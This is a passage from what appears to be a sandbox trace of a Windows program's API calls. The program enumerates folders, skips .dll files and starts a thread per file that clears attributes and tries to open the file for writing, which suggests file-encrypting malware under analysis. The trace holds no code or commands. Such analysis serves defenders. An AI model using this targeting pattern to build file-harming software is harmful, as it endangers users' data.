Music\\" [0049.403] wcscat (in: _Dest=0x421a48, _Source="Sleep Away.mp3" | out: _Dest="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3") returned="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3" [0049.403] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x421a48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa04 [0049.404] FindNextFileW (in: hFindFile=0x40a168, lpFindFileData=0x484fe0 | out: lpFindFileData=0x484fe0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be38a97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x49e459, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sleep Away.mp3", cAlternateFileName="SLEEPA~1.MP3")) returned 0 [0049.404] FindClose (in: hFindFile=0x40a168 | out: hFindFile=0x40a168) returned 1 [0049.405] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x484fe0) returned 1 [0049.405] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x413e90) returned 1 [0049.405] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445130) returned 1 Thread: id = 391 os_tid = 0xd04 [0048.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\blank.jtp" (normalized: "c:\\program files\\windows journal\\templates\\blank.jtp")) returned 0x20 [0051.700] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\blank.jtp", dwFileAttributes=0x20) returned 0 [0051.700] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\blank.jtp" (normalized: "c:\\program files\\windows journal\\templates\\blank.jtp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0051.700] GetLastError () returned 0x5 [0051.700] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\blank.jtp", dwFileAttributes=0x20) returned 0 [0051.701] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4190b8) returned 1 Thread: id = 392 os_tid = 0xd08 [0048.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp" (normalized: "c:\\program files\\windows journal\\templates\\dotted_line.jtp")) returned 0x20 [0051.701] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp", dwFileAttributes=0x20) returned 0 [0051.701] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp" (normalized: "c:\\program files\\windows journal\\templates\\dotted_line.jtp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0051.702] GetLastError () returned 0x5 [0051.702] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp", dwFileAttributes=0x20) returned 0 [0051.702] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400d18) returned 1 Thread: id = 393 os_tid = 0xd0c [0048.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Genko_1.jtp" (normalized: "c:\\program files\\windows journal\\templates\\genko_1.jtp")) returned 0x20 [0051.849] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Genko_1.jtp", dwFileAttributes=0x20) returned 0 [0051.849] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Genko_1.jtp" (normalized: "c:\\program files\\windows journal\\templates\\genko_1.jtp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0051.849] GetLastError () returned 0x5 [0051.849] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Genko_1.jtp", dwFileAttributes=0x20) returned 0 [0051.850] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e460e8) returned 1 Thread: id = 394 os_tid = 0xd10 [0048.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp" (normalized: "c:\\program files\\windows journal\\templates\\genko_2.jtp")) returned 0x20 [0051.850] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp", dwFileAttributes=0x20) returned 0 [0051.850] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp" (normalized: "c:\\program files\\windows journal\\templates\\genko_2.jtp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0051.851] GetLastError () returned 0x5 [0051.851] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp", dwFileAttributes=0x20) returned 0 [0051.851] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46160) returned 1 Thread: id = 395 os_tid = 0xd14 [0048.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Graph.jtp" (normalized: "c:\\program files\\windows journal\\templates\\graph.jtp")) returned 0x20 [0051.851] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Graph.jtp", dwFileAttributes=0x20) returned 0 [0051.851] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Graph.jtp" (normalized: "c:\\program files\\windows journal\\templates\\graph.jtp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0051.852] GetLastError () returned 0x5 [0051.852] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Graph.jtp", dwFileAttributes=0x20) returned 0 [0051.852] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e461d8) returned 1 Thread: id = 396 os_tid = 0xd18 [0048.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Memo.jtp" (normalized: "c:\\program files\\windows journal\\templates\\memo.jtp")) returned 0x20 [0051.852] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Memo.jtp", dwFileAttributes=0x20) returned 0 [0051.853] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Memo.jtp" (normalized: "c:\\program files\\windows journal\\templates\\memo.jtp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0051.853] GetLastError () returned 0x5 [0051.853] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Memo.jtp", dwFileAttributes=0x20) returned 0 [0051.853] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x421ab8) returned 1 Thread: id = 397 os_tid = 0xd1c [0048.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Month_Calendar.jtp" (normalized: "c:\\program files\\windows journal\\templates\\month_calendar.jtp")) returned 0x20 [0051.848] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Month_Calendar.jtp", dwFileAttributes=0x20) returned 0 [0051.848] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Month_Calendar.jtp" (normalized: "c:\\program files\\windows journal\\templates\\month_calendar.jtp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0051.848] GetLastError () returned 0x5 [0051.848] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Month_Calendar.jtp", dwFileAttributes=0x20) returned 0 [0051.848] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4477e8) returned 1 Thread: id = 398 os_tid = 0xd20 [0048.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Music.jtp" (normalized: "c:\\program files\\windows journal\\templates\\music.jtp")) returned 0x20 [0051.853] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Music.jtp", dwFileAttributes=0x20) returned 0 [0051.854] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Music.jtp" (normalized: "c:\\program files\\windows journal\\templates\\music.jtp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0051.854] GetLastError () returned 0x5 [0051.854] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Music.jtp", dwFileAttributes=0x20) returned 0 [0051.854] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46250) returned 1 Thread: id = 399 os_tid = 0xd24 [0048.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Seyes.jtp" (normalized: "c:\\program files\\windows journal\\templates\\seyes.jtp")) returned 0x20 [0051.699] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Seyes.jtp", dwFileAttributes=0x20) returned 0 [0051.699] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Seyes.jtp" (normalized: "c:\\program files\\windows journal\\templates\\seyes.jtp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0051.699] GetLastError () returned 0x5 [0051.699] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Seyes.jtp", dwFileAttributes=0x20) returned 0 [0051.699] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e462c8) returned 1 Thread: id = 400 os_tid = 0xd28 [0048.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Shorthand.jtp" (normalized: "c:\\program files\\windows journal\\templates\\shorthand.jtp")) returned 0x20 [0051.847] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Shorthand.jtp", dwFileAttributes=0x20) returned 0 [0051.847] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Shorthand.jtp" (normalized: "c:\\program files\\windows journal\\templates\\shorthand.jtp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0051.847] GetLastError () returned 0x5 [0051.847] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Shorthand.jtp", dwFileAttributes=0x20) returned 0 [0051.847] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400c98) returned 1 Thread: id = 401 os_tid = 0xd2c [0048.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp" (normalized: "c:\\program files\\windows journal\\templates\\to_do_list.jtp")) returned 0x20 [0051.846] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp", dwFileAttributes=0x20) returned 0 [0051.846] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp" (normalized: "c:\\program files\\windows journal\\templates\\to_do_list.jtp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0051.846] GetLastError () returned 0x5 [0051.846] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp", dwFileAttributes=0x20) returned 0 [0051.846] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x3ffc98) returned 1 Thread: id = 402 os_tid = 0xd30 [0048.848] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x78) returned 0x45e038 [0048.848] wcscpy (in: _Dest=0x45e038, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0048.848] wcscat (in: _Dest=0x45e038, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0048.848] wcscat (in: _Dest=0x45e038, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\*" [0048.848] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x488c08 [0048.848] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\*", lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440a20 [0048.849] wcscmp (_String1=".", _String2=".") returned 0 [0048.849] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.187] wcscmp (_String1="..", _String2=".") returned 1 [0049.187] wcscmp (_String1="..", _String2="..") returned 0 [0049.187] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d912600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfda0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroIEHelper.dll", cAlternateFileName="ACROIE~1.DLL")) returned 1 [0049.187] wcscmp (_String1="AcroIEHelper.dll", _String2=".") returned 1 [0049.187] wcscmp (_String1="AcroIEHelper.dll", _String2="..") returned 1 [0049.187] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xf3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroIEHelperShim.dll", cAlternateFileName="ACROIE~2.DLL")) returned 1 [0049.187] wcscmp (_String1="AcroIEHelperShim.dll", _String2=".") returned 1 [0049.187] wcscmp (_String1="AcroIEHelperShim.dll", _String2="..") returned 1 [0049.188] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.CAT", cAlternateFileName="")) returned 1 [0049.188] wcscmp (_String1="AcroPDF.CAT", _String2=".") returned 1 [0049.188] wcscmp (_String1="AcroPDF.CAT", _String2="..") returned 1 [0049.188] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x445530 [0049.188] wcscpy (in: _Dest=0x445530, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0049.188] wcscat (in: _Dest=0x445530, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0049.188] wcscat (in: _Dest=0x445530, _Source="AcroPDF.CAT" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CAT") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CAT" [0051.142] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x445530, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbec [0051.143] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8ec4a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.CHS", cAlternateFileName="")) returned 1 [0051.143] wcscmp (_String1="AcroPDF.CHS", _String2=".") returned 1 [0051.143] wcscmp (_String1="AcroPDF.CHS", _String2="..") returned 1 [0051.143] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x438780 [0051.143] wcscpy (in: _Dest=0x438780, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0051.143] wcscat (in: _Dest=0x438780, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0051.143] wcscat (in: _Dest=0x438780, _Source="AcroPDF.CHS" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CHS") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CHS" [0051.143] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x438780, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbf0 [0051.144] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8ec4a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.CHT", cAlternateFileName="")) returned 1 [0051.144] wcscmp (_String1="AcroPDF.CHT", _String2=".") returned 1 [0051.144] wcscmp (_String1="AcroPDF.CHT", _String2="..") returned 1 [0051.144] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x438818 [0051.144] wcscpy (in: _Dest=0x438818, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0051.144] wcscat (in: _Dest=0x438818, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0051.144] wcscat (in: _Dest=0x438818, _Source="AcroPDF.CHT" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CHT") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CHT" [0051.145] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x438818, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbf4 [0051.146] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.CZE", cAlternateFileName="")) returned 1 [0051.146] wcscmp (_String1="AcroPDF.CZE", _String2=".") returned 1 [0051.146] wcscmp (_String1="AcroPDF.CZE", _String2="..") returned 1 [0051.146] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x4388b0 [0051.146] wcscpy (in: _Dest=0x4388b0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0051.146] wcscat (in: _Dest=0x4388b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0051.146] wcscat (in: _Dest=0x4388b0, _Source="AcroPDF.CZE" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CZE") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CZE" [0051.146] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4388b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbf8 [0051.147] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8ec4a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.DAN", cAlternateFileName="")) returned 1 [0051.147] wcscmp (_String1="AcroPDF.DAN", _String2=".") returned 1 [0051.147] wcscmp (_String1="AcroPDF.DAN", _String2="..") returned 1 [0051.147] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x438948 [0051.147] wcscpy (in: _Dest=0x438948, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0051.147] wcscat (in: _Dest=0x438948, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0051.147] wcscat (in: _Dest=0x438948, _Source="AcroPDF.DAN" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.DAN") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.DAN" [0051.147] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x438948, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbfc [0051.148] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8ec4a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c600, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.DEU", cAlternateFileName="")) returned 1 [0051.148] wcscmp (_String1="AcroPDF.DEU", _String2=".") returned 1 [0051.148] wcscmp (_String1="AcroPDF.DEU", _String2="..") returned 1 [0051.148] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x4389e0 [0051.148] wcscpy (in: _Dest=0x4389e0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0051.148] wcscat (in: _Dest=0x4389e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0051.149] wcscat (in: _Dest=0x4389e0, _Source="AcroPDF.DEU" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.DEU") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.DEU" [0051.149] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4389e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc04 [0051.150] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d912600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xab790, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.dll", cAlternateFileName="")) returned 1 [0051.150] wcscmp (_String1="AcroPDF.dll", _String2=".") returned 1 [0051.150] wcscmp (_String1="AcroPDF.dll", _String2="..") returned 1 [0051.150] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, 